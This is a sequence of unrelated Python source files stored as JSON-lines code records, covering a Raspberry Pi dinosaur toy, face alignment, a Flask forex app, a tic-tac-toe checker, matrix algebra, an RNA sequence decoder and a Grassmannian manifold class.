dino_facts\n\n\ndef empty_file_check(list_name):\n \"\"\"\n Checks to see if the dino_facts list is empty\n\n This function will check to see if the list is empty. If it is, the\n program will print a message to the screen and then exit. If the\n file is not empty, the program will continue.\n\n Arguments:\n list_name: the dino_facts list\n\n \"\"\"\n\n logging.info(\"EMPTY FILE CHECK\")\n if list_name == []:\n logging.error(\"The dinosaur.txt file is empty. The program won't \" +\n \"work.\")\n print(\"\\033[1;31;40mErrors were encountered. Check the log in the \" +\n \"'Files' folder for more information.\")\n stop_the_program()\n else:\n logging.info(\"The dinosaur.txt file is not empty.(This is good. \"\n \"We don't want an empty file.)\")\n\n\ndef print_header():\n \"\"\"\n Prints a header\n\n\n This function will print out the program header to the\n screen.\n\n This is the only part of the program that doesn't adhere to the PEP\n standards (It exceeds recommended line length). I decided that\n \"Readability Counts\" and \"Beautiful is better than ugly\" from The\n Zen of Python should trump the PEP standards in this case. I had\n rewritten it to meet the PEP standard, but is was ugly and\n unreadable. This is much better. The program still compiles and runs\n OK.\n \"\"\"\n\n # The r prefix is to let Pylint know that it is a raw string.\n # It prevents the Pylint message \"Anomolous backslash in string:\n # string constant might be missing an r prefix\"\n print(\"\\n\\033[1;33;40m\")\n print(r\"===========================================================================\")\n print(r\" _ _ ____ ____ _ _ \")\n print(r\" | || | | _ \\ | _ \\| |_ ___ _ __ __ _ _ __ ___ __| | ___ _ __ \")\n print(r\" | || |_| | | | | |_) | __/ _ \\ '__/ _` | '_ \\ / _ \\ / _` |/ _ \\| '_ \\ \")\n print(r\" |__ _| |_| | | __/| || __/ | | (_| | | | | (_) | (_| | (_) | | | | \")\n print(r\" |_| |____/ |_| \\__\\___|_| \\__,_|_| |_|\\___/ \\__,_|\\___/|_| |_| \")\n print(r\" \")\n print(r\"===========================================================================\")\n print(\"\\n\")\n\n\ndef prompt_user_for_input():\n \"\"\"\n Prompts user to push a button\n\n This function prompts a user to push a button.\n \"\"\"\n\n # First line\n print(\"\\033[1;37;40mPush the \" + # print white text\n \"\\033[1;33;40myellow button \" + # print yellow text\n \"\\033[1;37;40mto activate the \" + # print white text\n \"\\033[1;33;40mPteranodon.\") # print yellow text\n # Second line\n print(\"\\033[1;37;40mPush the \" + # print white text\n \"\\033[1;31;40mred button \" + # print red text\n \"\\033[1;37;40mor press Ctrl-C to \" + # print white text\n \"\\033[1;31;40mstop \" + # print red text\n \"\\033[1;37;40mthe program.\\n\") # print white text\n\n\ndef get_squawk():\n \"\"\"\n Gets one random sound file\n\n This function will randomly select one of the Pteranodon squawk\n sound files.\n\n Returns:\n a sound file and the length of the file in seconds\n \"\"\"\n\n # The key/value pair is sound file name : length of file in seconds\n squawks = {'Sounds/Pteranodon1.ogg': 6.5, 'Sounds/Pteranodon2.ogg': 6.5,\n 'Sounds/Pteranodon3.ogg': 6, 'Sounds/Pteranodon4.ogg': 6}\n\n return random.choice(list(squawks.items()))\n\n\ndef print_dinosaur_fact(dino_facts):\n \"\"\"\n Prints a random dinosaur fact\n\n This function will select a random fact from the dino_facts list and\n print it out.\n\n Arguments:\n dino_facts: a list of dinosaur_facts\n \"\"\"\n\n print(\"\\033[1;34;40mDINOSAUR FUN FACT:\")\n print(random.choice(dino_facts))\n\n\ndef activate_pteranodon(sound, sound_length):\n \"\"\"\n Starts the Pteranodon motor\n\n This function will play the sound file and activate the\n Pteranodon motor for the duration of the sound file.\n\n Arguments:\n sound: The randomly selected Pteranodon sound file\n sound_length: The length of the sound file in seconds\n \"\"\"\n\n try:\n PTERANODON_MOTOR.value = 0.6 # Controls the motor speed\n except ValueError:\n logging.error(\"A bad value was specified for the pteranodon_\" +\n \"motor. The value should be between 0 and 1.\")\n print(\"\\033[1;31;40mAn error was encountered. Check the log in the \" +\n \"'Files' folder for more information.\\n\")\n stop_the_program()\n pygame.mixer.music.load(sound) # Loads the sound file\n PTERANODON_MOTOR_ENABLE.on() # Starts the motor\n pygame.mixer.music.play() # Plays the sound file\n sleep(sound_length) # Length of sound file in seconds\n PTERANODON_MOTOR_ENABLE.off() # Stops the motor\n\n\ndef release_gpio_pins():\n \"\"\"\n Realeases the GPIO pins.\n \"\"\"\n\n PTERANODON_MOTOR.close()\n PTERANODON_MOTOR_ENABLE.close()\n RED_BUTTON.close()\n YELLOW_BUTTON.close()\n\n\ndef stop_the_program():\n \"\"\"\n Stops the program\n\n This function will call the release_gpio_pins function, print a\n message to the screen, and then exit the program.\n \"\"\"\n\n release_gpio_pins()\n print(\"\\033[1;37;40mExiting program.\\n\")\n logging.info(\"END\")\n exit()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"pteranodon.py","file_name":"pteranodon.py","file_ext":"py","file_size_in_byte":13269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"51809091","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 1 13:30:45 2018\n\n@author: shen1994\n\"\"\"\n\nimport cv2\nimport torch\nimport face_detect\nimport face_alignment\nimport numpy as np\nimport tensorflow as tf\nfrom umeyama import umeyama\n\nclass FaceProcess:\n \n def __init__(self, use_fa):\n self.pnet = None\n self.rnet = None\n self.onet = None\n self.use_fa = use_fa\n self.fa = None\n self.image_label = 0\n self.ratio_landmarks = [\n (0.31339227236234224, 0.3259269274198092),\n (0.31075140146108776, 0.7228453709528997),\n (0.5523683107816256, 0.5187296867370605),\n (0.7752419985257663, 0.37262483743520886),\n (0.7759613623985877, 0.6772957581740159)] \n \n def load_models(self):\n with tf.Graph().as_default():\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=1.0)\n sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options, log_device_placement=False))\n with sess.as_default():\n self.pnet, self.rnet, self.onet = face_detect.create_mtcnn(sess, None)\n \n if self.use_fa:\n if torch.cuda.is_available():\n self.fa = face_alignment.FaceAlignment(face_alignment.LandmarksType._2D, \n device='cuda', flip_input=False)\n else:\n self.fa = face_alignment.FaceAlignment(face_alignment.LandmarksType._2D, \n device='cpu', flip_input=False)\n\n def process_bbox(self, bboxes, image_shape):\n \n for i, bbox in enumerate(bboxes):\n y0, x0, y1, x1 = bboxes[i, 0:4]\n w, h = int(y1 - y0), int(x1 - x0)\n length = (w + h) / 2\n center = (int((x1+x0)/2), int((y1+y0)/2))\n new_x0 = np.max([0, center[0]-length//2])\n new_x1 = np.min([image_shape[0], center[0]+length//2])\n new_y0 = np.max([0, center[1]-length//2])\n new_y1 = np.min([image_shape[1], center[1]+length//2])\n bboxes[i, 0:4] = new_x0, new_y1, new_x1, new_y0\n \n return bboxes\n \n def process_landmark(self, image, src_landmarks, tar_landmarks):\n \n image_size = image.shape\n src_tmp = [(int(xy[1]), int(xy[0])) for xy in src_landmarks]\n tar_tmp = [(int(xy[1]), int(xy[0])) for xy in tar_landmarks]\n M = umeyama(np.array(src_tmp), np.array(tar_tmp), True)[0:2]\n result = cv2.warpAffine(image, M, \n (image_size[1], image_size[0]), \n borderMode=cv2.BORDER_REPLICATE)\n return result\n \n def process_landmark2(self, image, fa):\n \n is_face = False\n \n preds = fa.get_landmarks(image)\n if preds is not None:\n pred = preds[0]\n mask = np.zeros_like(image)\n \n pnts_right = [(pred[i, 0], pred[i, 1]) for i in range(36, 42)]\n hull = cv2.convexHull(np.array(pnts_right)).astype(np.int32)\n mask = cv2.drawContours(mask, [hull], 0, (255, 255, 255), -1)\n \n pnts_left = [(pred[i, 0], pred[i, 1]) for i in range(42, 48)]\n hull = cv2.convexHull(np.array(pnts_left)).astype(np.int32)\n mask = cv2.drawContours(mask, [hull], 0, (255, 255, 255), -1)\n \n mask = cv2.dilate(mask, np.ones((13, 13), np.uint8), iterations=1)\n mask = cv2.GaussianBlur(mask, (7, 7), 0)\n is_face = True\n else:\n mask = np.zeros_like(image)\n \n return is_face, mask\n\n def process(self, input_image, save_path=None, save_type='A', \n minsize=30, threshold=[0.6, 0.7, 0.7], factor=0.709): \n \n boxes, pnts = face_detect.detect_face(input_image, minsize, \n self.pnet, self.rnet, self.onet, threshold, factor)\n faces = self.process_bbox(boxes, input_image.shape)\n \n is_face = False\n for idx, (x0, y1, x1, y0, conf_score) in enumerate(faces):\n \n det_face = input_image[int(x0):int(x1), int(y0):int(y1), :]\n \n src_landmarks = [(int(pnts[i+5][0]-x0), \n int(pnts[i][0]-y0)) for i in range(5)]\n image_size = (int(x1)-int(x0), int(y1)-int(y0))\n tar_landmarks = [(int(one[0]*image_size[0]), \n int(one[1]*image_size[1])) for one in self.ratio_landmarks]\n align_image = self.process_landmark(det_face, \n src_landmarks, tar_landmarks)\n align_image = cv2.resize(align_image, (256, 256))\n \n if self.use_fa:\n is_face, mask_image = self.process_landmark2(align_image, self.fa)\n else:\n mask_image = np.zeros_like(align_image)\n mask_image[int(src_landmarks[0][0]-image_size[0]/15.0): \n int(src_landmarks[0][0]+image_size[0]/15.0),\n int(src_landmarks[0][1]-image_size[1]/8.0):\n int(src_landmarks[0][1]+image_size[1]/8.0), :] = 255\n mask_image[int(src_landmarks[1][0]-image_size[0]/15.0): \n int(src_landmarks[1][0]+image_size[0]/15.0),\n int(src_landmarks[1][1]-image_size[1]/8.0): \n int(src_landmarks[1][1]+image_size[1]/8.0), :] = 255\n mask_image = self.process_landmark(mask_image, \n src_landmarks, tar_landmarks)\n \n if is_face:\n self.image_label += 1\n cv2.imwrite(save_path + \"/align_\" + save_type + \"/data_\" + save_type + \"_\"\n + str(self.image_label) + \".jpg\", align_image)\n cv2.imwrite(save_path + \"/mask_\" + save_type + \"/data_\" + save_type + \"_\"\n + str(self.image_label) + \".jpg\", mask_image)\n else:\n pass\n if is_face:\n cv2.imwrite(save_path + \"/\" + save_type + \"/data_\" + save_type + \"_\"\n + str(self.image_label) + \".jpg\", input_image) \n \nif __name__ == \"__main__\":\n \n import os\n os.environ['CUDA_VISIBLE_DEVICES'] = '0'\n\n face_process = FaceProcess(use_fa=True)\n face_process.load_models()\n face_process.process(cv2.imread(\"test1.jpg\"), \"../Files\", \"A\") \n ","sub_path":"Extract/face_process.py","file_name":"face_process.py","file_ext":"py","file_size_in_byte":6578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"37139527","text":"from flask import Flask\nfrom flask import render_template\nfrom flask import request\nfrom sortedcontainers import SortedDict\nfrom bson.objectid import ObjectId\nfrom bson.json_util import dumps as bsonDumps\nimport Quandl\nimport json\nimport sys\n\nsys.path.append('./src')\nfrom simulate import simulate\nfrom get_prices import get_prices\nfrom config import keys\n\nsys.path.append('./db')\nfrom connection import truefx\n\napp = Flask(__name__.split('.')[0])\n@app.route('/')\ndef root():\n return render_template('landing.html')\n\n@app.route('/truefx/symbol/')\ndef truefx_find_by_symbol(symbol):\n symbol = symbol[0:3] + '/' + symbol[3:6]\n cursor = truefx.find({'symbol': symbol})\n results = {}\n for record in cursor:\n record['_id'] = str(record['_id'])\n record.pop('__v', None)\n results[str(int(record['timestamp']))] = record\n return json.dumps({'symbol': symbol, 'data': results})\n\n@app.route('/forex/')\ndef forex_data(symbol):\n data = {'symbol': 'USDJPY', 'rate': 120.23}\n return json.dumps({'data': data})\n\n@app.route('/simulate/')\ndef run_simulation(symbol):\n query_params = request.args\n trim_start = query_params.get('start_date') or '2015-11-01'\n trim_end = query_params.get('end_date') or '2015-12-31'\n prices = get_prices([symbol], trim_start=trim_start, trim_end=trim_end)\n prices = prices[symbol]\n signal_crosses, simulation, earnings = simulate(prices)\n dailies = prices\n for timestamp in dailies.keys():\n dailies[timestamp] = {\n 'price': prices[timestamp],\n 'signal': signal_crosses[timestamp],\n 'shares': simulation[timestamp]['shares'],\n 'cash_on_hand': simulation[timestamp]['cash_on_hand']\n }\n dailies = SortedDict(dailies)\n return json.dumps({'earnings': earnings, 'dailies': dailies})\n\n@app.route('/')\ndef info(symbol):\n query_params = request.args\n trim_start = query_params.get('start_date') or '2015-12-01'\n trim_end = query_params.get('end_date') or '2015-12-31'\n datasets = Quandl.search(symbol, authtoken=keys['quandl'], verbose = False)\n code = datasets[0][u'code']\n data = Quandl.get(code, authtoken=keys['quandl'], collapse='daily', trim_start=trim_start, trim_end=trim_end)\n return data.to_html()\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"311480498","text":"from typing import List\n\n\ndef list_merge(list_lists):\n return [x for lst in list_lists for x in lst]\n\n\nclass Checker:\n def __init__(self):\n self.o_wins = False\n self.x_wins = False\n self.draw = False\n self.unfinished = False\n\n\ndef tic_tac_toe_checker(board: List[List]) -> str:\n \"\"\"\n Given a Tic-Tac-Toe 3x3 board (can be unfinished).\n Write a function that checks if the are some winners.\n If there is \"x\" winner, function should return \"x wins!\"\n If there is \"o\" winner, function should return \"o wins!\"\n If there is a draw, function should return \"draw!\"\n If board is unfinished, function should return \"unfinished!\"\n \"\"\"\n checker = Checker()\n board_lst = list_merge(board)\n masks = [\"012\", \"345\", \"678\", \"036\", \"147\", \"258\", \"048\", \"246\"]\n for mask in masks:\n one, two, three = map(int, list(mask))\n set_ = {board_lst[one], board_lst[two], board_lst[three]}\n if set_ == {\"o\"}:\n checker.o_wins = True\n elif set_ == {\"x\"}:\n checker.x_wins = True\n elif {\"-\"}.issubset(set_) and len(set_) != 3:\n checker.unfinished = True\n\n if checker.o_wins and checker.x_wins:\n return \"draw!\"\n elif checker.x_wins:\n return \"x wins!\"\n elif checker.o_wins:\n return \"o wins!\"\n else:\n return \"unfinished!\"\n","sub_path":"homework7/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"425060708","text":"#creates a matrix class that can handle matrix algebra\r\n\r\nimport logging\r\nlogging.basicConfig(level = logging.DEBUG, format = '%(message)s')\r\nlogging.disable(logging.DEBUG)\r\n\r\nclass Matrix(object):\r\n\r\n def __init__(self, matrix):\r\n self.matrix = matrix\r\n row_length = len(self.matrix[0])\r\n if type(self.matrix) != list:\r\n raise RuntimeError('Object must be a list of lists')\r\n if type(self.matrix[0]) != list:\r\n raise RuntimeError('Object must be a list of lists')\r\n for row in self.matrix:\r\n if len(row) != row_length:\r\n raise RuntimeError('All rows must have same number of items')\r\n\r\n def __add__(self, other):\r\n if len(self.matrix) != len(other.matrix) or len(self.matrix[0]) != len(other.matrix[0]):\r\n raise RuntimeError('Matrices must have same dimmensions for matrix addition')\r\n added_matrix = []\r\n for row_num in range(len(self.matrix)):\r\n added_matrix.append([])\r\n for col_num in range(len(self.matrix[0])):\r\n num = self.matrix[row_num][col_num] + other.matrix[row_num][col_num]\r\n added_matrix[row_num].append(num)\r\n added_matrix = Matrix(added_matrix)\r\n return added_matrix\r\n\r\n def __sub__(self, other):\r\n if len(self.matrix) != len(other.matrix) or len(self.matrix[0]) != len(other.matrix[0]):\r\n raise RuntimeError('Matrices must have same dimmensions for matrix subtraction')\r\n sub_matrix = []\r\n for row_num in range(len(self.matrix)):\r\n sub_matrix.append([])\r\n for col_num in range(len(self.matrix[0])):\r\n num = self.matrix[row_num][col_num] - other.matrix[row_num][col_num]\r\n sub_matrix[row_num].append(num)\r\n sub_matrix = Matrix(sub_matrix)\r\n return sub_matrix\r\n\r\n def __mul__(self, other):\r\n if type(other) == Matrix:\r\n if len(self.matrix[0]) != len(other.matrix):\r\n raise RuntimeError('Matrices do not have compatible dimmensions for multiplication')\r\n length_lst = [x for x in range(len(other.matrix))]\r\n product = []\r\n for i in range(len(self.matrix)):\r\n product.append([])\r\n for row_num in range(len(self.matrix)):\r\n for col_num in range(len(other.matrix[0])):\r\n total = 0\r\n for i in length_lst:\r\n num = self.matrix[row_num][i] * other.matrix[i][col_num]\r\n total += num\r\n product[row_num].append(total)\r\n product = Matrix(product)\r\n return product\r\n elif type(other) == int or type(other) == float:\r\n product = []\r\n for row_num in range(len(self.matrix)):\r\n product.append([])\r\n for col_num in range(len(self.matrix[0])):\r\n product[row_num].append(self.matrix[row_num][col_num] * other)\r\n product = Matrix(product)\r\n return product\r\n\r\n def det(self):\r\n matrix = self.matrix\r\n if type(self) != Matrix:\r\n raise RuntimeError('Must be type: Matrix')\r\n if len(matrix) != len(matrix[0]):\r\n raise RuntimeError('Matrix must have same number of rows and columns')\r\n dets = [[1, matrix]]\r\n while type(dets[0][-1]) == list:\r\n replacement = []\r\n if len(dets[0][-1]) > 2:\r\n for item in dets:\r\n mat = item[-1]\r\n sign = 1\r\n for i in range(len(mat)):\r\n new_matrix = []\r\n for row_num in range(1, len(mat)):\r\n new_matrix.append([])\r\n for col_num in range(len(mat)):\r\n if col_num != i:\r\n new_matrix[-1].append(mat[row_num][col_num])\r\n new_item = []\r\n for j in range(len(item) - 1):\r\n new_item.append(item[j])\r\n new_item.append(sign * mat[0][i])\r\n new_item.append(new_matrix)\r\n replacement.append(new_item)\r\n sign = sign * -1\r\n dets = replacement\r\n continue\r\n elif len(dets[0][-1]) == 2:\r\n for item in dets:\r\n mat = item[-1]\r\n det = mat[0][0] * mat[1][1] - mat[0][1] * mat[1][0]\r\n item[-1] = det\r\n elif len(dets[0][-1]) == 1:\r\n for item in dets:\r\n mat = item[-1]\r\n item[-1] = mat[0][0]\r\n det = 0\r\n for item in dets:\r\n product = 1\r\n for num in item:\r\n product = product * num\r\n det += product\r\n return det\r\n\r\n def inv(self):\r\n matrix = self.matrix\r\n if type(self) != Matrix:\r\n raise RuntimeError('Must be type: Matrix')\r\n if len(matrix) != len(matrix[0]):\r\n raise RuntimeError('Matrix must have same number of rows and columns')\r\n det = self.det()\r\n if det == 0:\r\n raise RuntimeError('Matrix is not invertible (the determinant = 0)')\r\n minors = []\r\n for row_num in range(len(matrix)):\r\n minors.append([])\r\n for col_num in range(len(matrix[0])):\r\n det_matrix = []\r\n for row_num2 in range(len(matrix)):\r\n if row_num2 != row_num:\r\n det_matrix.append([])\r\n for col_num2 in range(len(matrix)):\r\n if col_num2 != col_num:\r\n det_matrix[-1].append(matrix[row_num2][col_num2])\r\n logging.debug(det_matrix)\r\n det_matrix = Matrix(det_matrix)\r\n minor = det_matrix.det()\r\n minors[-1].append(minor)\r\n logging.debug('Minors: ' + str(minors))\r\n sign = 1\r\n cofactors = []\r\n for row in minors:\r\n cofactors.append([])\r\n for item in row:\r\n cofactors[-1].append(item * sign)\r\n sign *= -1\r\n if len(minors) % 2 == 0:\r\n sign *= -1\r\n logging.debug('Cofactors: ' + str(cofactors))\r\n transcripted = [[] for i in range(len(cofactors))]\r\n logging.debug('Transcripted: ' + str(transcripted))\r\n for col_num in range(len(cofactors[0])):\r\n for row_num in range(len(cofactors)):\r\n logging.debug('Row: ' + str(row_num))\r\n logging.debug('Col: ' + str(col_num))\r\n transcripted[row_num].append(cofactors[col_num][row_num])\r\n logging.debug(transcripted)\r\n transcripted = Matrix(transcripted)\r\n transcripted = transcripted * (1 / det)\r\n return transcripted\r\n","sub_path":"matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":7016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"266127638","text":"import numpy as np\nimport random\n'''41. Змінній t привласнити значення істина, якщо максимальний елемент\nодновимірного масиву єдиний і не перевищує наперед заданого числа а.\n(Кудрявцев Владислав)'''\nA=np.zeros(20,dtype=int)\nn=len(A)\nu=int(input('Enter your number:'))\nt=False\ncount=0\nfor i in range(n):\n A[i]=random.randint(-10,10)\nfor i in range(n):\n if A[i]==max(A):\n count+=1\n if count==1 and max(A)0:\n seq_cell_ID[i+start_blob_ID] = start_cell_ID+tile_seq_data[i,14]\n \n start_blob_ID = start_blob_ID+tile_num_blobs\n start_cell_ID = start_cell_ID+tile_num_cells\n\n if num_hybs==1:\n seq_num=seq_res[:,0] + 1\n elif num_hybs==2:\n seq_num=seq_res[:,0]*10+seq_res[:,1] + 11\n elif num_hybs==3:\n seq_num=seq_res[:,0]*100+seq_res[:,1]*10+seq_res[:,2] + 111\n elif num_hybs==4:\n seq_num=seq_res[:,0]*1000+seq_res[:,1]*100+seq_res[:,2]*10+seq_res[:,3] + 1111\n elif num_hybs==5:\n seq_num=seq_res[:,0]*10000+seq_res[:,1]*1000+seq_res[:,2]*100+seq_res[:,3]*10+seq_res[:,4] + 11111\n elif num_hybs==6:\n seq_num=seq_res[:,0]*100000+seq_res[:,1]*10000+seq_res[:,2]*1000+seq_res[:,3]*100+seq_res[:,4]*10+seq_res[:,5] + 111111\n else:\n print('uncompatible number of hybridizations')\n\n\n f = np.isnan(seq_quality)\n seq_quality[f] = 0\n seq_quality_min = np.zeros(num_blobs)\n seq_strength_max = np.zeros(num_blobs)\n for j in range(0, num_blobs):\n seq_quality_min[j] = min(seq_quality[j, :])\n seq_strength_max[j] = max(seq_strength[j, :])\n\n #---------------------------------\n # all found transcripts before QT\n\n ffbt = []\n for j in range(0, num_blobs):\n if seq_quality_min[j]>0 and seq_strength_max[j]>0:\n ffbt.append(j)\n allbt = seq_num[ffbt] \n x_allbt = x_pos[ffbt]\n y_allbt = y_pos[ffbt]\n par_cell_allbt = parent_cell[ffbt]\n seq_quality_min_allbt = seq_quality_min[ffbt]\n all_lettersbt = []\n for uubt in range(0,len(allbt)):\n all_lettersbt.append(self.num2letters(allbt[uubt], num_hybs))\n\n # all found transcripts after QT\n\n ff = []\n for j in range(0, num_blobs):\n if seq_quality_min[j]>quality_T and seq_strength_max[j]>DO_intensity_T:\n ff.append(j) # filter out sequences with low quality \n \n all = seq_num[ff] \n x_all = x_pos[ff]\n y_all = y_pos[ff]\n par_cell_all = parent_cell[ff]\n seq_quality_min_all = seq_quality_min[ff]\n all_letters = []\n for uu in range(0,len(all)):\n all_letters.append(self.num2letters(all[uu], num_hybs))\n\n # ------------------------------------------\n\n # unique found transcripts \n hh = np.unique(seq_num[ff])\n seq_letters = []\n for u in range(0,len(hh)):\n seq_letters.append(self.num2letters(hh[u], num_hybs))\n binEdges = np.append(hh, hh[-1] + 0) # add rightmost edge\n [ab, b] = np.histogram(seq_num[ff], bins=binEdges)\n\n #----------------------------------------------\n # extract transcript name \n #----------------------------------------------\n nExpected = len(taglist)\n expected_list = []\n exp_tags = []\n for n in range(0,nExpected):\n expected_list.append(taglist[n][0])\n exp_tags.append(taglist[n][1])\n\n # --------------------------------------------\n # if unexpected write NNNN\n # ---------------------------------------------\n name_tag = []\n wildCardsInExpectedList = []\n wildCardTags = []\n for j in range(0, len(expected_list)):\n findNs = re.finditer('N', expected_list[j])\n c = 0\n for i in findNs:\n c = c + 1\n if c > 0 and c < num_hybs:\n wildCardsInExpectedList.append(expected_list[j])\n wildCardTags.append(exp_tags[j])\n\n for kk in range(0, len(b)):\n letters = self.num2letters(b[kk], num_hybs)\n if letters in expected_list:\n posit = expected_list.index(letters)\n name_tag.append(exp_tags[posit])\n else:\n ##check against wildcard N in taglist\n found = False\n foundStr = \"\"\n for j in range(0, len(wildCardsInExpectedList)):\n findNs = re.finditer('N', wildCardsInExpectedList[j])\n ll = list(letters)\n for i in findNs:\n ll[i.span()[0]] = 'N'\n modLetters = \"\".join(ll)\n if modLetters == wildCardsInExpectedList[j]:\n found = True\n foundStr = wildCardTags[j]\n break\n if found:\n name_tag.append(foundStr)\n else:\n name_tag.append('NNNN')\n\n name_tag_all = []\n for kkk in range(0, len(all)):\n letters = self.num2letters(all[kkk], num_hybs)\n if letters in expected_list:\n posit = expected_list.index(letters)\n name_tag_all.append(exp_tags[posit])\n else:\n ##check against wildcard N in taglist\n found = False\n foundStr = \"\"\n for j in range(0, len(wildCardsInExpectedList)):\n findNs = re.finditer('N', wildCardsInExpectedList[j])\n ll = list(letters)\n for i in findNs:\n ll[i.span()[0]] = 'N'\n modLetters = \"\".join(ll)\n if modLetters == wildCardsInExpectedList[j]:\n found = True\n foundStr = wildCardTags[j]\n break\n if found:\n name_tag_all.append(foundStr)\n else:\n name_tag_all.append('NNNN')\n \n name_tag_allbt = []\n for kkkk in range(0, len(allbt)):\n letters = self.num2letters(allbt[kkkk], num_hybs)\n if letters in expected_list:\n posit = expected_list.index(letters)\n name_tag_allbt.append(exp_tags[posit])\n else:\n ##check against wildcard N in taglist\n found = False\n foundStr = \"\"\n for j in range(0, len(wildCardsInExpectedList)):\n findNs = re.finditer('N', wildCardsInExpectedList[j])\n ll = list(letters)\n for i in findNs:\n ll[i.span()[0]] = 'N'\n modLetters = \"\".join(ll)\n if modLetters == wildCardsInExpectedList[j]:\n found = True\n foundStr = wildCardTags[j]\n break\n if found:\n name_tag_allbt.append(foundStr)\n else:\n name_tag_allbt.append('NNNN')\n\n # ________________________________________________________________________________________\n # Write text file\n # -------------\n \n # open a file for writing\n fid = open(Output_path + output_prefix + '_codes_n_counts.csv', 'w')\n # print a title, followed by a blank line\n fid.write('Code Count\\n\\n');\n # print values in column order\n for row in range(0, len(hh)):\n fid.write('%s %d %s\\n' % (seq_letters[row],ab[row], name_tag[row]))\n fid.close()\n \n # ________________________________________________________________________________________\n # Write text file with x and y positions of all found transcripts \n # -------------\n \n # open a file for writing\n fid = open(Output_path + output_prefix + '_xy_position_all_found_afterQT.csv', 'w')\n # print a title, followed by a blank line\n fid.write('letters,name,X_pos,Y_pos,parent_cell,seq_quality\\n\\n')\n # print values in column order\n for row in range(0, len(all)):\n fid.write('%s,%s,%d,%d,%d,%.7f\\n' %(all_letters[row], name_tag_all[row], np.floor(x_all[row]), np.floor(y_all[row]), par_cell_all[row], seq_quality_min_all[row]))\n fid.close()\n \n # ________________________________________________________________________________________\n # Write text file with x and y positions of all found transcripts before QT\n # -------------\n \n # open a file for writing\n fid = open(Output_path + output_prefix + '_xy_position_all_found_beforeQT.csv', 'w')\n # print a title, followed by a blank line\n fid.write('letters,name,X_pos,Y_pos,parent_cell,seq_quality\\n\\n')\n # print values in column order\n for row in range(0, len(allbt)):\n fid.write('%s,%s,%d,%d,%d,%.7f\\n' %(all_lettersbt[row], name_tag_allbt[row], np.floor(x_allbt[row]), np.floor(y_allbt[row]), par_cell_allbt[row], seq_quality_min_allbt[row]))\n fid.close()\n\n def num2letters(self, num, num_hybs):\n #print(\"num: %s\" %(str(num)))\n if num_hybs > 0:\n letters = ['A', 'C', 'G', 'T']\n numDiv10 = int(np.floor(num/10))\n rest = int(num - numDiv10 * 10)\n #print(\" rest: %s\" %(str(rest)))\n lastLetter = letters[rest-1]\n res = self.num2letters(numDiv10, num_hybs-1) + lastLetter\n else:\n res = ''\n return res\n","sub_path":"Others/TissueMaps/Python/DecodeRNASequencesN.py","file_name":"DecodeRNASequencesN.py","file_ext":"py","file_size_in_byte":14434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"220014054","text":"\"\"\"\nGrassmannian manifold Gr(n, k),\na set of all k-dimensional subspaces in n-dimensional space,\nwhere k <= n\n\"\"\"\n\nimport geomstats.backend as gs\nfrom geomstats.geometry.embedded_manifold import EmbeddedManifold\nfrom geomstats.geometry.matrices_space import MatricesMetric\nfrom geomstats.geometry.matrices_space import MatricesSpace\nfrom geomstats.geometry.riemannian_metric import RiemannianMetric\n\nTOLERANCE = 1e-5\nEPSILON = 1e-6\n\n\nclass Grassmannian(EmbeddedManifold):\n \"\"\"\n Class for Grassmann manifolds Gr(n, k)\n of k-dimensional subspaces in the n-dimensional euclidean space.\n Parameters\n ----------\n point : array-like, shape=[n_samples, n, k]\n Point.\n tolerance : float, optional\n Tolerance at which to evaluate.\n\n Returns\n -------\n belongs : array-like, shape=[n_samples, 1]\n Array of booleans evaluating if the corresponding points\n belong to the Grassmann manifold.\n \"\"\"\n def __init__(self, n, k):\n assert isinstance(n, int) and isinstance(k, int)\n assert k <= n\n\n self.n = n\n self.k = k\n\n dimension = int(k * (n - k))\n super(Grassmannian, self).__init__(\n dimension=dimension,\n embedding_manifold=MatricesSpace(n, n))\n\n def belongs(self, point, tolerance=TOLERANCE):\n \"\"\"\n Check if an (n,n)-matrix is an orthogonal projector\n onto a subspace of rank k.\n \"\"\"\n point = gs.to_ndarray(point, to_ndim=3)\n n_points, n, k = point.shape\n\n if (n, k) != (self.n, self.k):\n return gs.array([[False]] * n_points)\n\n point_transpose = gs.transpose(point, axes=(0, 2, 1))\n identity = gs.to_ndarray(gs.eye(k), to_ndim=3)\n identity = gs.tile(identity, (n_points, 1, 1))\n diff = gs.einsum('nij,njk->nik', point_transpose, point) - identity\n\n diff_norm = gs.linalg.norm(diff, axis=(1, 2))\n belongs = gs.less_equal(diff_norm, tolerance)\n\n belongs = gs.to_ndarray(belongs, to_ndim=1)\n belongs = gs.to_ndarray(belongs, to_ndim=2, axis=1)\n return belongs\n \n \n raise NotImplementedError(\n 'The Grassmann `belongs` is not implemented.'\n 'It shall test whether p*=p, p^2 = p and rank(p) = k.')\n\n def origin(self):\n return gs.diag(gs.repeat([1, 0], [self.k, self.n - self.k]))[0]\n\n\nclass GrassmannianCanonicalMetric(RiemannianMetric):\n \"\"\"\n Canonical metric of the Grassmann manifold.\n\n Coincides with the Frobenius metric.\n \"\"\"\n def __init__(self, n, k):\n assert isinstance(n, int) and isinstance(k, int)\n assert k <= n\n self.n = n\n self.k = k\n dimension = int(k * (n - k))\n\n super(GrassmannianCanonicalMetric, self).__init__(\n dimension=dimension,\n signature=(dimension, 0, 0))\n\n self.embedding_metric = MatricesMetric(n, n)\n\n self.manifold = Grassmannian(n, k)\n\n def exp(self, vector, point):\n \"\"\"\n Exponentiate the invariant vector field v from base point p.\n\n `vector` is skew-symmetric, in so(n).\n `point` is a rank p projector of Gr(n, k).\n\n Parameters\n ----------\n 